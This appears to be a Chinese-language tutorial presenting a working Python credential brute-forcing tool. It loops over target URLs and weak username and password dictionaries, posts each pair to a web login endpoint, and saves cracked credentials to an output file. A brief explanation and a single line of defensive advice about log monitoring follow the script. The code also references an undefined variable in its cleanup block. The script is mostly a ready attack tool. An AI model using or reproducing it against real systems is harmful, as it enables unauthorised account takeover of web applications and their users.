http://123.123.123.123:1234/账号字典 usr.txt:
adminadmin 是很多 Web 后端管理应用常用的管理员默认账号。
1234 12345 123456密码字典是三个被常用的弱密码。
from io import TextIOWrapper import json import logging import os import time import requests from requests.adapters import HTTPAdapter g_input_path = './brute_force_login/input/' g_output_path = './brute_force_login/output/' def log(): # 创建日志文件存放文件夹 root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) log_dir = os.path.join(root_dir, 'logs', 'brute_force_login') if not os.path.exists(log_dir): os.mkdir(log_dir) # 创建一个日志器 logger = logging.getLogger("logger") # 设置日志输出的最低等级,低于当前等级则会被忽略 logger.setLevel(logging.INFO) # 创建处理器:sh为控制台处理器,fh为文件处理器 sh = logging.StreamHandler() # 创建处理器:sh为控制台处理器,fh为文件处理器,log_file为日志存放的文件夹 log_file = os.path.join(log_dir, "{}.log".format( time.strftime("%Y-%m-%d", time.localtime()))) fh = logging.FileHandler(log_file, encoding="UTF-8") # 创建格式器,并将sh,fh设置对应的格式 formator = logging.Formatter( fmt="%(asctime)s %(levelname)s %(message)s", datefmt="%Y/%m/%d %X") sh.setFormatter(formator) fh.setFormatter(formator) # 将处理器,添加至日志器中 logger.addHandler(sh) logger.addHandler(fh) return logger globalLogger = log() def myRequest(url: str, method: str, data, proxyIpPort="localhost", authorizationBase64Str=''): # 请求头 headers = { "content-type": "application/json", 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36', } if authorizationBase64Str != '': headers['Authorization'] = 'Basic ' + authorizationBase64Str proxies = {} if proxyIpPort != "localhost": proxies = { "http": "http://" + proxyIpPort, "https": "http://" + proxyIpPort } try: s = requests.Session() # 配置请求超时重试 s.mount('http://', HTTPAdapter(max_retries=1)) s.mount('https://', HTTPAdapter(max_retries=1)) response = None # 构造发送请求 if method == 'get': response = s.get(url=url, headers=headers, data=data, proxies=proxies, timeout=(3.05, 1)) elif method == 'post': response = s.post(url=url, headers=headers, data=data, proxies=proxies, timeout=(3.05, 1)) else: globalLogger.warning("Request Method Invalid") return 'RequestException' # 响应数据 globalLogger.info( "MyRequest Request ResponseText:\n {}".format(response.text)) return response.text except requests.exceptions.RequestException as e: globalLogger.warning("RequestException: {}".format(e)) return 'RequestException' def getStrListFromFile(fileContent: TextIOWrapper): return fileContent.read().rstrip('\n').replace('\n', ';').split(';') def attackTargetSite(url: str, usr: str, pwd: str): reStr = 'FAIL' fullUrl = url + 'webapp/web/login' globalLogger.info("attackTargetSite Request Url: {}".format(fullUrl)) reqData = { "name": usr, "password": pwd } resp = myRequest(fullUrl, 'post', json.dumps(reqData).encode("utf-8")) if '"status":200' in resp: reStr = 'SUCCESS' elif 'RequestException' in resp: reStr = 'RequestException' return reStr def attack(): try: input_path = g_input_path # 读取url文件 input_url_filename = 'url.txt' urlFileContent = open(os.path.join( input_path, input_url_filename), 'r') url_list = getStrListFromFile(urlFileContent) # 读取用户名字典文件 input_usr_filename = 'usr.txt' usrFileContent = open(os.path.join( input_path, input_usr_filename), 'r') usr_list = getStrListFromFile(usrFileContent) # 读取密码字典文件 input_pwd_filename = 'pwd.txt' pwdFileContent = open(os.path.join( input_path, input_pwd_filename), 'r') pwd_list = getStrListFromFile(pwdFileContent) # 输出文件路径及名称 output_path = g_output_path output_hacked_url = 'hackedUrlAndPwd.txt' with open(os.path.join(output_path, output_hacked_url), 'w') as output_file: i = 0 for url in url_list: i += 1 j = 0 for usr in usr_list: j += 1 resp = 'FAIL' k = 0 for pwd in pwd_list: k += 1 resp = attackTargetSite(url, usr, pwd) if resp == 'SUCCESS': output_file.write(url + '\n') output_file.write('{}:{}\n'.format(usr, pwd)) # 数据实时写入文件(无缓冲写入) output_file.flush() pStr = "[SUCCESS {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] success".format( i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url) globalLogger.info(pStr) break elif 'RequestException' in resp: pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format( i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url) globalLogger.info(pStr) break else: pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format( i, len(url_list), j, len(usr_list), usr, k, len(pwd_list), pwd, url) globalLogger.info(pStr) if resp == 'SUCCESS': break elif 'RequestException' in resp: break finally: if urlFileContent: urlFileContent.close() if usrFileContent: usrFileContent.close() if pwdFileContent: pwdFileContent.close() if pipFileContent: pipFileContent.close() attack()上述 Python 代码中导入了 io、json、logging、os、time 和 requests 模块。 log 函数用于设置日志文件的路径和格式,以及创建日志记录器,并返回该记录器。 myRequest 函数用于发送 HTTP 请求,并返回响应文本。函数 attackTargetSite 用于攻击目标网站的登录页面。最后,函数 attack 读取 url.txt、usr.txt 和 pwd.txt 文件,以此作为参数进行攻击,并将破解的网站和密码保存到 hackedUrlAndPwd.txt 文件中。成功破解的目标站点将 URL、账号和密码保存到 hackedUrlAndPwd.txt 文件中,如:
http://123.123.123.123:1234/ admin:1234其中, http://123.123.123.123:1234/ 为目标 Web 应用站点的 URL,admin 为账号,1234 为密码。
加强日志监控:开发人员应该在应用程序中记录关键事件和操作,并实时监控和分析日志,以发现潜在的安全威胁。